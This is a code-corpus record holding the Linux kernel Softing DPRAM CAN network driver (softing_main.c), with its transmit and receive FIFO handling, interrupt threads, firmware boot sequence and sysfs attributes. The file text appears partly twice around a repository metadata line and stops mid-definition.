can_state; if (can_state == CAN_STATE_ERROR_PASSIVE) ++priv->can.can_stats.error_passive; else if (can_state == CAN_STATE_BUS_OFF) { /* this calls can_close_cleanup() */ can_bus_off(netdev); netif_stop_queue(netdev); } /* trigger socketcan */ softing_netdev_rx(netdev, &msg, ktime); } } else { if (cmd & CMD_RTR) msg.can_id |= CAN_RTR_FLAG; msg.can_dlc = get_can_dlc(*ptr++); if (cmd & CMD_XTD) { msg.can_id |= CAN_EFF_FLAG; msg.can_id |= le32_to_cpup((void *)ptr); ptr += 4; } else { msg.can_id |= le16_to_cpup((void *)ptr); ptr += 2; } /* timestamp */ tmp_u32 = le32_to_cpup((void *)ptr); ptr += 4; ktime = softing_raw2ktime(card, tmp_u32); if (!(msg.can_id & CAN_RTR_FLAG)) memcpy(&msg.data[0], ptr, 8); ptr += 8; /* update socket */ if (cmd & CMD_ACK) { /* acknowledge, was tx msg */ struct sk_buff *skb; skb = priv->can.echo_skb[priv->tx.echo_get]; if (skb) skb->tstamp = ktime; can_get_echo_skb(netdev, priv->tx.echo_get); ++priv->tx.echo_get; if (priv->tx.echo_get >= TX_ECHO_SKB_MAX) priv->tx.echo_get = 0; if (priv->tx.pending) --priv->tx.pending; if (card->tx.pending) --card->tx.pending; ++netdev->stats.tx_packets; if (!(msg.can_id & CAN_RTR_FLAG)) netdev->stats.tx_bytes += msg.can_dlc; } else { int ret; ret = softing_netdev_rx(netdev, &msg, ktime); if (ret == NET_RX_SUCCESS) { ++netdev->stats.rx_packets; if (!(msg.can_id & CAN_RTR_FLAG)) netdev->stats.rx_bytes += msg.can_dlc; } else { ++netdev->stats.rx_dropped; } } } ++cnt; return cnt; } /* * real interrupt handler */ static irqreturn_t softing_irq_thread(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; struct net_device *netdev; struct softing_priv *priv; int j, offset, work_done; work_done = 0; spin_lock_bh(&card->spin); while (softing_handle_1(card) > 0) { ++card->irq.svc_count; ++work_done; } spin_unlock_bh(&card->spin); /* resume tx queue's */ offset = card->tx.last_bus; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (card->tx.pending >= TXMAX) break; netdev = card->net[(j + offset + 1) % card->pdat->nbus]; if (!netdev) continue; priv = netdev_priv(netdev); if (!canif_is_active(netdev)) /* it makes no sense to wake dead busses */ continue; if (priv->tx.pending >= TX_ECHO_SKB_MAX) continue; ++work_done; netif_wake_queue(netdev); } return work_done ? IRQ_HANDLED : IRQ_NONE; } /* * interrupt routines: * schedule the 'real interrupt handler' */ static irqreturn_t softing_irq_v2(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; uint8_t ir; ir = ioread8(&card->dpram[DPRAM_V2_IRQ_TOHOST]); iowrite8(0, &card->dpram[DPRAM_V2_IRQ_TOHOST]); return (1 == ir) ? IRQ_WAKE_THREAD : IRQ_NONE; } static irqreturn_t softing_irq_v1(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; uint8_t ir; ir = ioread8(&card->dpram[DPRAM_IRQ_TOHOST]); iowrite8(0, &card->dpram[DPRAM_IRQ_TOHOST]); return ir ? IRQ_WAKE_THREAD : IRQ_NONE; } /* * netdev/candev inter-operability */ static int softing_netdev_open(struct net_device *ndev) { int ret; /* check or determine and set bittime */ ret = open_candev(ndev); if (!ret) ret = softing_startstop(ndev, 1); return ret; } static int softing_netdev_stop(struct net_device *ndev) { int ret; netif_stop_queue(ndev); /* softing cycle does close_candev() */ ret = softing_startstop(ndev, 0); return ret; } static int softing_candev_set_mode(struct net_device *ndev, enum can_mode mode) { int ret; switch (mode) { case CAN_MODE_START: /* softing_startstop does close_candev() */ ret = softing_startstop(ndev, 1); return ret; case CAN_MODE_STOP: case CAN_MODE_SLEEP: return -EOPNOTSUPP; } return 0; } /* * Softing device management helpers */ int softing_enable_irq(struct softing *card, int enable) { int ret; if (!card->irq.nr) { return 0; } else if (card->irq.requested && !enable) { free_irq(card->irq.nr, card); card->irq.requested = 0; } else if (!card->irq.requested && enable) { ret = request_threaded_irq(card->irq.nr, (card->pdat->generation >= 2) ? softing_irq_v2 : softing_irq_v1, softing_irq_thread, IRQF_SHARED, dev_name(&card->pdev->dev), card); if (ret) { dev_alert(&card->pdev->dev, "request_threaded_irq(%u) failed\n", card->irq.nr); return ret; } card->irq.requested = 1; } return 0; } static void softing_card_shutdown(struct softing *card) { int fw_up = 0; if (mutex_lock_interruptible(&card->fw.lock)) /* return -ERESTARTSYS */; fw_up = card->fw.up; card->fw.up = 0; if (card->irq.requested && card->irq.nr) { free_irq(card->irq.nr, card); card->irq.requested = 0; } if (fw_up) { if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 0); softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); } mutex_unlock(&card->fw.lock); } static __devinit int softing_card_boot(struct softing *card) { int ret, j; static const uint8_t stream[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, }; unsigned char back[sizeof(stream)]; if (mutex_lock_interruptible(&card->fw.lock)) return -ERESTARTSYS; if (card->fw.up) { mutex_unlock(&card->fw.lock); return 0; } /* reset board */ if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 1); /* boot card */ softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); for (j = 0; (j + sizeof(stream)) < card->dpram_size; j += sizeof(stream)) { memcpy_toio(&card->dpram[j], stream, sizeof(stream)); /* flush IO cache */ mb(); memcpy_fromio(back, &card->dpram[j], sizeof(stream)); if (!memcmp(back, stream, sizeof(stream))) continue; /* memory is not equal */ dev_alert(&card->pdev->dev, "dpram failed at 0x%04x\n", j); ret = -EIO; goto failed; } wmb(); /* load boot firmware */ ret = softing_load_fw(card->pdat->boot.fw, card, card->dpram, card->dpram_size, card->pdat->boot.offs - card->pdat->boot.addr); if (ret < 0) goto failed; /* load loader firmware */ ret = softing_load_fw(card->pdat->load.fw, card, card->dpram, card->dpram_size, card->pdat->load.offs - card->pdat->load.addr); if (ret < 0) goto failed; if (card->pdat->reset) card->pdat->reset(card->pdev, 0); softing_clr_reset_dpram(card); ret = softing_bootloader_command(card, 0, "card boot"); if (ret < 0) goto failed; ret = softing_load_app_fw(card->pdat->app.fw, card); if (ret < 0) goto failed; ret = softing_chip_poweron(card); if (ret < 0) goto failed; card->fw.up = 1; mutex_unlock(&card->fw.lock); return 0; failed: card->fw.up = 0; if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 0); softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); mutex_unlock(&card->fw.lock); return ret; } /* * netdev sysfs */ static ssize_t show_channel(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "%i\n", priv->index); } static ssize_t show_chip(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "%i\n", priv->chip); } static ssize_t show_output(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "0x%02x\n", priv->output); } static ssize_t store_output(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); struct softing *card = priv->card; unsigned long val; int ret; ret = strict_strtoul(buf, 0, &val); if (ret < 0) return ret; val &= 0xFF; ret = mutex_lock_interruptible(&card->fw.lock); if (ret) return -ERESTARTSYS; if (netif_running(ndev)) { mutex_unlock(&card->fw.lock); return -EBUSY; } priv->output = val; mutex_unlock(&card->fw.lock); return count; } static const DEVICE_ATTR(channel, S_IRUGO, show_channel, NULL); static const DEVICE_ATTR(chip, S_IRUGO, show_chip, NULL); static const DEVICE_ATTR(output, S_IRUGO | S_IWUSR, show_output, store_output); static const struct attribute *const netdev_sysfs_attrs[] = { &dev_attr_channel.attr, &dev_attr_chip.attr, &dev_attr_output.attr, NULL, }; static const struct attribute_group netdev_sysfs_group = { .name = NULL, .attrs = (struct attribute **)netdev_sysfs_attrs, }; static const struct net_device_ops softing_netdev_ops = { .ndo_open = softing_netdev_open, .ndo_stop = softing_netdev_stop, .ndo_start_xmit = softing_netdev_start_xmit, }; static const struct can_bittiming_const softing_btr_const = { .name = "softing", .tseg1_min = 1, .tseg1_max = 16, .tseg2_min = 1, .tseg2_max = 8, .sjw_max = 4, /* overruled */ .brp_min = 1, .brp_max = 32, /* overruled */ .brp_inc = 1, }; static __devinit struct net_device *softing_netdev_create(struct softing *card, uint16_t chip_id) { struct net_device *netdev; struct softing_priv *priv; netdev = alloc_candev(sizeof(*priv), TX_ECHO_SKB_MAX); if (!netdev) { dev_alert(&card->pdev->dev, "alloc_candev failed\n"); return NULL; } priv = netdev_priv(netdev); priv->netdev = netdev; priv->card = card; memcpy(&priv->btr_const, &softing_btr_const, sizeof(priv->btr_const)); priv->btr_const.brp_max = card->pdat->max_brp; priv->btr_const.sjw_max = card->pdat->max_sjw; priv->can.bittiming_const = &priv->btr_const; priv->can.clock.freq = 8000000; priv->chip = chip_id; priv->output = softing_default_output(netdev); SET_NETDEV_DEV(netdev, &card->pdev->dev); netdev->flags |= IFF_ECHO; netdev->netdev_ops = &softing_netdev_ops; priv->can.do_set_mode = softing_candev_set_mode; priv->can.ctrlmode_supported = CAN_CTRLMODE_3_SAMPLES; return netdev; } static __devinit int softing_netdev_register(struct net_device *netdev) { int ret; netdev->sysfs_groups[0] = &netdev_sysfs_group; ret = register_candev(netdev); if (ret) { dev_alert(&netdev->dev, "register failed\n"); return ret; } return 0; } static void softing_netdev_cleanup(struct net_device *netdev) { unregister_candev(netdev); free_candev(netdev); } /* * sysfs for Platform device */ #define DEV_ATTR_RO(name, member) \ static ssize_t show_##name(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct softing *card = platform_get_drvdata(to_platform_device(dev)); \ return sprintf(buf, "%u\n", card->member); \ } \ static DEVICE_ATTR(name, 0444, show_##name, NULL) #define DEV_ATTR_RO_STR(name, member) \ static ssize_t show_##name(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct softing *card = platform_get_drvdata(to_platform_device(dev)); \ return sprintf(buf, "%s\n", card->member); \ } \ static DEVICE_ATTR(name, 0444, show_##name, NULL) DEV_ATTR_RO(serial, id.serial); DEV_ATTR_RO_STR(firmware, pdat->app.fw); DEV_ATTR_RO(firmware_version, id.fw_version); DEV_ATTR_RO_STR(hardware, pdat->name); DEV_ATTR_RO(hardware_version, id.hw_version); DEV_ATTR_RO(license, id.license); DEV_ATTR_RO(frequency, id.freq); DEV_ATTR_RO(txpending, tx.pending); static struct attribute *softing_pdev_attrs[] = { &dev_attr_serial.attr, &dev_attr_firmware.attr, &dev_attr_firmware_version.attr, &dev_attr_hardware.attr, &dev_attr_hardware_version.attr, &dev_attr_license.attr, &dev_attr_frequency.attr, &dev_attr_txpending.attr, NULL, }; static const struct attribute_group softing_pdev_group = { .name = NULL, .attrs = softing_pdev_attrs, }; /* * platform driver */ static __devexit int softing_pdev_remove(struct platform_device *pdev) { struct softing *card = platform_get_drvdata(pdev); int j; /* first, disable card*/ softing_card_shutdown(card); for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (!card->net[j]) continue; softing_netdev_cleanup(card->net[j]); card->net[j] = NULL; } sysfs_remove_group(&pdev->dev.kobj, &softing_pdev_group); iounmap(card->dpram); kfree(card); return 0; } static __devinit int softing_pdev_probe(struct platform_device *pdev) { const struct softing_platform_data *pdat = pdev->dev.platform_data; struct softing *card; struct net_device *netdev; struct softing_priv *priv; struct resource *pres; int ret; int j; if (!pdat) { dev_warn(&pdev->dev, "no platform data\n"); return -EINVAL; } if (pdat->nbus > ARRAY_SIZE(card->net)) { dev_warn(&pdev->dev, "%u nets??\n", pdat->nbus); return -EINVAL; } card = kzalloc(sizeof(*card), GFP_KERNEL); if (!card) return -ENOMEM; card->pdat = pdat; card->pdev = pdev; platform_set_drvdata(pdev, card); mutex_init(&card->fw.lock); spin_lock_init(&card->spin); ret = -EINVAL; pres = platform_get_resource(pdev, IORESOURCE_MEM, 0); if (!pres) goto platform_resource_failed; card->dpram_phys = pres->start; card->dpram_size = pres->end - pres->start + 1; card->dpram = ioremap_nocache(card->dpram_phys, card->dpram_size); if (!card->dpram) { dev_alert(&card->pdev->dev, "dpram ioremap failed\n"); goto ioremap_failed; } pres = platform_get_resource(pdev, IORESOURCE_IRQ, 0); if (pres) card->irq.nr = pres->start; /* reset card */ ret = softing_card_boot(card); if (ret < 0) { dev_alert(&pdev->dev, "failed to boot\n"); goto boot_failed; } /* only now, the chip's are known */ card->id.freq = card->pdat->freq; ret = sysfs_create_group(&pdev->dev.kobj, &softing_pdev_group); if (ret < 0) { dev_alert(&card->pdev->dev, "sysfs failed\n"); goto sysfs_failed; } ret = -ENOMEM; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { card->net[j] = netdev = softing_netdev_create(card, card->id.chip[j]); if (!netdev) { dev_alert(&pdev->dev, "failed to make can[%i]", j); goto netdev_failed; } priv = netdev_priv(card->net[j]); priv->index = j; ret = softing_netdev_register(netdev); if (ret) { free_candev(netdev); card->net[j] = NULL; dev_alert(&card->pdev->dev, "failed to register can[%i]\n", j); goto netdev_failed; } } dev_info(&card->pdev->dev, "%s ready.\n", card->pdat->name); return 0; netdev_failed: for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (!card->net[j]) continue; softing_netdev_cleanup(card->net[j]); } sysfs_remove_group(&pdev->dev.kobj, &softing_pdev_group); sysfs_failed: softing_card_shutdown(card); boot_failed: iounmap(card->dpram); ioremap_failed: platform_resource_failed: kfree(card); return ret; } static struct platform_driver softing_driver = { .driver = { .name = "softing", .owner = THIS_MODULE, }, .probe = softing_pdev_probe, .remove = __devexit_p(softing_pdev_remove), }; MODULE_ALIAS("platform:softing"); static int __init softing_start(void) { return platform_driver_register(&softing_driver); } static void __exit softing_stop(void) { platform_driver_unregister(&softing_driver); } module_init(softing_start); module_exit(softing_stop); MODULE_DESCRIPTION("Softing DPRAM CAN driver"); MODULE_AUTHOR("Kurt Van Dijck <kurt.van.dijck@eia.be>"); MODULE_LICENSE("GPL v2");
CyanogenMod/android_kernel_bn_omap
drivers/net/can/softing/softing_main.c
C
gpl-2.0
22,062
/* * Copyright (C) 2008-2010 * * - Kurt Van Dijck, EIA Electronics * * This program is free software; you can redistribute it and/or modify * it under the terms of the version 2 of the GNU General Public License * as published by the Free Software Foundation * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <linux/version.h> #include <linux/module.h> #include <linux/init.h> #include <linux/interrupt.h> #include "softing.h" #define TX_ECHO_SKB_MAX (((TXMAX+1)/2)-1) /* * test is a specific CAN netdev * is online (ie. up 'n running, not sleeping, not busoff */ static inline int canif_is_active(struct net_device *netdev) { struct can_priv *can = netdev_priv(netdev); if (!netif_running(netdev)) return 0; return (can->state <= CAN_STATE_ERROR_PASSIVE); } /* reset DPRAM */ static inline void softing_set_reset_dpram(struct softing *card) { if (card->pdat->generation >= 2) { spin_lock_bh(&card->spin); iowrite8(ioread8(&card->dpram[DPRAM_V2_RESET]) & ~1, &card->dpram[DPRAM_V2_RESET]); spin_unlock_bh(&card->spin); } } static inline void softing_clr_reset_dpram(struct softing *card) { if (card->pdat->generation >= 2) { spin_lock_bh(&card->spin); iowrite8(ioread8(&card->dpram[DPRAM_V2_RESET]) | 1, &card->dpram[DPRAM_V2_RESET]); spin_unlock_bh(&card->spin); } } /* trigger the tx queue-ing */ static netdev_tx_t softing_netdev_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct softing_priv *priv = netdev_priv(dev); struct softing *card = priv->card; int ret; uint8_t *ptr; uint8_t fifo_wr, fifo_rd; struct can_frame *cf = (struct can_frame *)skb->data; uint8_t buf[DPRAM_TX_SIZE]; if (can_dropped_invalid_skb(dev, skb)) return NETDEV_TX_OK; spin_lock(&card->spin); ret = NETDEV_TX_BUSY; if (!card->fw.up || (card->tx.pending >= TXMAX) || (priv->tx.pending >= TX_ECHO_SKB_MAX)) goto xmit_done; fifo_wr = ioread8(&card->dpram[DPRAM_TX_WR]); fifo_rd = ioread8(&card->dpram[DPRAM_TX_RD]); if (fifo_wr == fifo_rd) /* fifo full */ goto xmit_done; memset(buf, 0, sizeof(buf)); ptr = buf; *ptr = CMD_TX; if (cf->can_id & CAN_RTR_FLAG) *ptr |= CMD_RTR; if (cf->can_id & CAN_EFF_FLAG) *ptr |= CMD_XTD; if (priv->index) *ptr |= CMD_BUS2; ++ptr; *ptr++ = cf->can_dlc; *ptr++ = (cf->can_id >> 0); *ptr++ = (cf->can_id >> 8); if (cf->can_id & CAN_EFF_FLAG) { *ptr++ = (cf->can_id >> 16); *ptr++ = (cf->can_id >> 24); } else { /* increment 1, not 2 as you might think */ ptr += 1; } if (!(cf->can_id & CAN_RTR_FLAG)) memcpy(ptr, &cf->data[0], cf->can_dlc); memcpy_toio(&card->dpram[DPRAM_TX + DPRAM_TX_SIZE * fifo_wr], buf, DPRAM_TX_SIZE); if (++fifo_wr >= DPRAM_TX_CNT) fifo_wr = 0; iowrite8(fifo_wr, &card->dpram[DPRAM_TX_WR]); card->tx.last_bus = priv->index; ++card->tx.pending; ++priv->tx.pending; can_put_echo_skb(skb, dev, priv->tx.echo_put); ++priv->tx.echo_put; if (priv->tx.echo_put >= TX_ECHO_SKB_MAX) priv->tx.echo_put = 0; /* can_put_echo_skb() saves the skb, safe to return TX_OK */ ret = NETDEV_TX_OK; xmit_done: spin_unlock(&card->spin); if (card->tx.pending >= TXMAX) { int j; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (card->net[j]) netif_stop_queue(card->net[j]); } } if (ret != NETDEV_TX_OK) netif_stop_queue(dev); return ret; } /* * shortcut for skb delivery */ int softing_netdev_rx(struct net_device *netdev, const struct can_frame *msg, ktime_t ktime) { struct sk_buff *skb; struct can_frame *cf; skb = alloc_can_skb(netdev, &cf); if (!skb) return -ENOMEM; memcpy(cf, msg, sizeof(*msg)); skb->tstamp = ktime; return netif_rx(skb); } /* * softing_handle_1 * pop 1 entry from the DPRAM queue, and process */ static int softing_handle_1(struct softing *card) { struct net_device *netdev; struct softing_priv *priv; ktime_t ktime; struct can_frame msg; int cnt = 0, lost_msg; uint8_t fifo_rd, fifo_wr, cmd; uint8_t *ptr; uint32_t tmp_u32; uint8_t buf[DPRAM_RX_SIZE]; memset(&msg, 0, sizeof(msg)); /* test for lost msgs */ lost_msg = ioread8(&card->dpram[DPRAM_RX_LOST]); if (lost_msg) { int j; /* reset condition */ iowrite8(0, &card->dpram[DPRAM_RX_LOST]); /* prepare msg */ msg.can_id = CAN_ERR_FLAG | CAN_ERR_CRTL; msg.can_dlc = CAN_ERR_DLC; msg.data[1] = CAN_ERR_CRTL_RX_OVERFLOW; /* * service to all busses, we don't know which it was applicable * but only service busses that are online */ for (j = 0; j < ARRAY_SIZE(card->net); ++j) { netdev = card->net[j]; if (!netdev) continue; if (!canif_is_active(netdev)) /* a dead bus has no overflows */ continue; ++netdev->stats.rx_over_errors; softing_netdev_rx(netdev, &msg, ktime_set(0, 0)); } /* prepare for other use */ memset(&msg, 0, sizeof(msg)); ++cnt; } fifo_rd = ioread8(&card->dpram[DPRAM_RX_RD]); fifo_wr = ioread8(&card->dpram[DPRAM_RX_WR]); if (++fifo_rd >= DPRAM_RX_CNT) fifo_rd = 0; if (fifo_wr == fifo_rd) return cnt; memcpy_fromio(buf, &card->dpram[DPRAM_RX + DPRAM_RX_SIZE*fifo_rd], DPRAM_RX_SIZE); mb(); /* trigger dual port RAM */ iowrite8(fifo_rd, &card->dpram[DPRAM_RX_RD]); ptr = buf; cmd = *ptr++; if (cmd == 0xff) /* not quite useful, probably the card has got out */ return 0; netdev = card->net[0]; if (cmd & CMD_BUS2) netdev = card->net[1]; priv = netdev_priv(netdev); if (cmd & CMD_ERR) { uint8_t can_state, state; state = *ptr++; msg.can_id = CAN_ERR_FLAG; msg.can_dlc = CAN_ERR_DLC; if (state & SF_MASK_BUSOFF) { can_state = CAN_STATE_BUS_OFF; msg.can_id |= CAN_ERR_BUSOFF; state = STATE_BUSOFF; } else if (state & SF_MASK_EPASSIVE) { can_state = CAN_STATE_ERROR_PASSIVE; msg.can_id |= CAN_ERR_CRTL; msg.data[1] = CAN_ERR_CRTL_TX_PASSIVE; state = STATE_EPASSIVE; } else { can_state = CAN_STATE_ERROR_ACTIVE; msg.can_id |= CAN_ERR_CRTL; state = STATE_EACTIVE; } /* update DPRAM */ iowrite8(state, &card->dpram[priv->index ? DPRAM_INFO_BUSSTATE2 : DPRAM_INFO_BUSSTATE]); /* timestamp */ tmp_u32 = le32_to_cpup((void *)ptr); ptr += 4; ktime = softing_raw2ktime(card, tmp_u32); ++netdev->stats.rx_errors; /* update internal status */ if (can_state != priv->can.state) { priv->can.state = can_state; if (can_state == CAN_STATE_ERROR_PASSIVE) ++priv->can.can_stats.error_passive; else if (can_state == CAN_STATE_BUS_OFF) { /* this calls can_close_cleanup() */ can_bus_off(netdev); netif_stop_queue(netdev); } /* trigger socketcan */ softing_netdev_rx(netdev, &msg, ktime); } } else { if (cmd & CMD_RTR) msg.can_id |= CAN_RTR_FLAG; msg.can_dlc = get_can_dlc(*ptr++); if (cmd & CMD_XTD) { msg.can_id |= CAN_EFF_FLAG; msg.can_id |= le32_to_cpup((void *)ptr); ptr += 4; } else { msg.can_id |= le16_to_cpup((void *)ptr); ptr += 2; } /* timestamp */ tmp_u32 = le32_to_cpup((void *)ptr); ptr += 4; ktime = softing_raw2ktime(card, tmp_u32); if (!(msg.can_id & CAN_RTR_FLAG)) memcpy(&msg.data[0], ptr, 8); ptr += 8; /* update socket */ if (cmd & CMD_ACK) { /* acknowledge, was tx msg */ struct sk_buff *skb; skb = priv->can.echo_skb[priv->tx.echo_get]; if (skb) skb->tstamp = ktime; can_get_echo_skb(netdev, priv->tx.echo_get); ++priv->tx.echo_get; if (priv->tx.echo_get >= TX_ECHO_SKB_MAX) priv->tx.echo_get = 0; if (priv->tx.pending) --priv->tx.pending; if (card->tx.pending) --card->tx.pending; ++netdev->stats.tx_packets; if (!(msg.can_id & CAN_RTR_FLAG)) netdev->stats.tx_bytes += msg.can_dlc; } else { int ret; ret = softing_netdev_rx(netdev, &msg, ktime); if (ret == NET_RX_SUCCESS) { ++netdev->stats.rx_packets; if (!(msg.can_id & CAN_RTR_FLAG)) netdev->stats.rx_bytes += msg.can_dlc; } else { ++netdev->stats.rx_dropped; } } } ++cnt; return cnt; } /* * real interrupt handler */ static irqreturn_t softing_irq_thread(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; struct net_device *netdev; struct softing_priv *priv; int j, offset, work_done; work_done = 0; spin_lock_bh(&card->spin); while (softing_handle_1(card) > 0) { ++card->irq.svc_count; ++work_done; } spin_unlock_bh(&card->spin); /* resume tx queue's */ offset = card->tx.last_bus; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (card->tx.pending >= TXMAX) break; netdev = card->net[(j + offset + 1) % card->pdat->nbus]; if (!netdev) continue; priv = netdev_priv(netdev); if (!canif_is_active(netdev)) /* it makes no sense to wake dead busses */ continue; if (priv->tx.pending >= TX_ECHO_SKB_MAX) continue; ++work_done; netif_wake_queue(netdev); } return work_done ? IRQ_HANDLED : IRQ_NONE; } /* * interrupt routines: * schedule the 'real interrupt handler' */ static irqreturn_t softing_irq_v2(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; uint8_t ir; ir = ioread8(&card->dpram[DPRAM_V2_IRQ_TOHOST]); iowrite8(0, &card->dpram[DPRAM_V2_IRQ_TOHOST]); return (1 == ir) ? IRQ_WAKE_THREAD : IRQ_NONE; } static irqreturn_t softing_irq_v1(int irq, void *dev_id) { struct softing *card = (struct softing *)dev_id; uint8_t ir; ir = ioread8(&card->dpram[DPRAM_IRQ_TOHOST]); iowrite8(0, &card->dpram[DPRAM_IRQ_TOHOST]); return ir ? IRQ_WAKE_THREAD : IRQ_NONE; } /* * netdev/candev inter-operability */ static int softing_netdev_open(struct net_device *ndev) { int ret; /* check or determine and set bittime */ ret = open_candev(ndev); if (!ret) ret = softing_startstop(ndev, 1); return ret; } static int softing_netdev_stop(struct net_device *ndev) { int ret; netif_stop_queue(ndev); /* softing cycle does close_candev() */ ret = softing_startstop(ndev, 0); return ret; } static int softing_candev_set_mode(struct net_device *ndev, enum can_mode mode) { int ret; switch (mode) { case CAN_MODE_START: /* softing_startstop does close_candev() */ ret = softing_startstop(ndev, 1); return ret; case CAN_MODE_STOP: case CAN_MODE_SLEEP: return -EOPNOTSUPP; } return 0; } /* * Softing device management helpers */ int softing_enable_irq(struct softing *card, int enable) { int ret; if (!card->irq.nr) { return 0; } else if (card->irq.requested && !enable) { free_irq(card->irq.nr, card); card->irq.requested = 0; } else if (!card->irq.requested && enable) { ret = request_threaded_irq(card->irq.nr, (card->pdat->generation >= 2) ? softing_irq_v2 : softing_irq_v1, softing_irq_thread, IRQF_SHARED, dev_name(&card->pdev->dev), card); if (ret) { dev_alert(&card->pdev->dev, "request_threaded_irq(%u) failed\n", card->irq.nr); return ret; } card->irq.requested = 1; } return 0; } static void softing_card_shutdown(struct softing *card) { int fw_up = 0; if (mutex_lock_interruptible(&card->fw.lock)) /* return -ERESTARTSYS */; fw_up = card->fw.up; card->fw.up = 0; if (card->irq.requested && card->irq.nr) { free_irq(card->irq.nr, card); card->irq.requested = 0; } if (fw_up) { if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 0); softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); } mutex_unlock(&card->fw.lock); } static __devinit int softing_card_boot(struct softing *card) { int ret, j; static const uint8_t stream[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, }; unsigned char back[sizeof(stream)]; if (mutex_lock_interruptible(&card->fw.lock)) return -ERESTARTSYS; if (card->fw.up) { mutex_unlock(&card->fw.lock); return 0; } /* reset board */ if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 1); /* boot card */ softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); for (j = 0; (j + sizeof(stream)) < card->dpram_size; j += sizeof(stream)) { memcpy_toio(&card->dpram[j], stream, sizeof(stream)); /* flush IO cache */ mb(); memcpy_fromio(back, &card->dpram[j], sizeof(stream)); if (!memcmp(back, stream, sizeof(stream))) continue; /* memory is not equal */ dev_alert(&card->pdev->dev, "dpram failed at 0x%04x\n", j); ret = -EIO; goto failed; } wmb(); /* load boot firmware */ ret = softing_load_fw(card->pdat->boot.fw, card, card->dpram, card->dpram_size, card->pdat->boot.offs - card->pdat->boot.addr); if (ret < 0) goto failed; /* load loader firmware */ ret = softing_load_fw(card->pdat->load.fw, card, card->dpram, card->dpram_size, card->pdat->load.offs - card->pdat->load.addr); if (ret < 0) goto failed; if (card->pdat->reset) card->pdat->reset(card->pdev, 0); softing_clr_reset_dpram(card); ret = softing_bootloader_command(card, 0, "card boot"); if (ret < 0) goto failed; ret = softing_load_app_fw(card->pdat->app.fw, card); if (ret < 0) goto failed; ret = softing_chip_poweron(card); if (ret < 0) goto failed; card->fw.up = 1; mutex_unlock(&card->fw.lock); return 0; failed: card->fw.up = 0; if (card->pdat->enable_irq) card->pdat->enable_irq(card->pdev, 0); softing_set_reset_dpram(card); if (card->pdat->reset) card->pdat->reset(card->pdev, 1); mutex_unlock(&card->fw.lock); return ret; } /* * netdev sysfs */ static ssize_t show_channel(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "%i\n", priv->index); } static ssize_t show_chip(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "%i\n", priv->chip); } static ssize_t show_output(struct device *dev, struct device_attribute *attr, char *buf) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); return sprintf(buf, "0x%02x\n", priv->output); } static ssize_t store_output(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct net_device *ndev = to_net_dev(dev); struct softing_priv *priv = netdev2softing(ndev); struct softing *card = priv->card; unsigned long val; int ret; ret = strict_strtoul(buf, 0, &val); if (ret < 0) return ret; val &= 0xFF; ret = mutex_lock_interruptible(&card->fw.lock); if (ret) return -ERESTARTSYS; if (netif_running(ndev)) { mutex_unlock(&card->fw.lock); return -EBUSY; } priv->output = val; mutex_unlock(&card->fw.lock); return count; } static const DEVICE_ATTR(channel, S_IRUGO, show_channel, NULL); static const DEVICE_ATTR(chip, S_IRUGO, show_chip, NULL); static const DEVICE_ATTR(output, S_IRUGO | S_IWUSR, show_output, store_output); static const struct attribute *const netdev_sysfs_attrs[] = { &dev_attr_channel.attr, &dev_attr_chip.attr, &dev_attr_output.attr, NULL, }; static const struct attribute_group netdev_sysfs_group = { .name = NULL, .attrs = (struct attribute **)netdev_sysfs_attrs, }; static const struct net_device_ops softing_netdev_ops = { .ndo_open = softing_netdev_open, .ndo_stop = softing_netdev_stop, .ndo_start_xmit = softing_netdev_start_xmit, }; static const struct can_bittiming_const softing_btr_const = { .name = "softing", .tseg1_min = 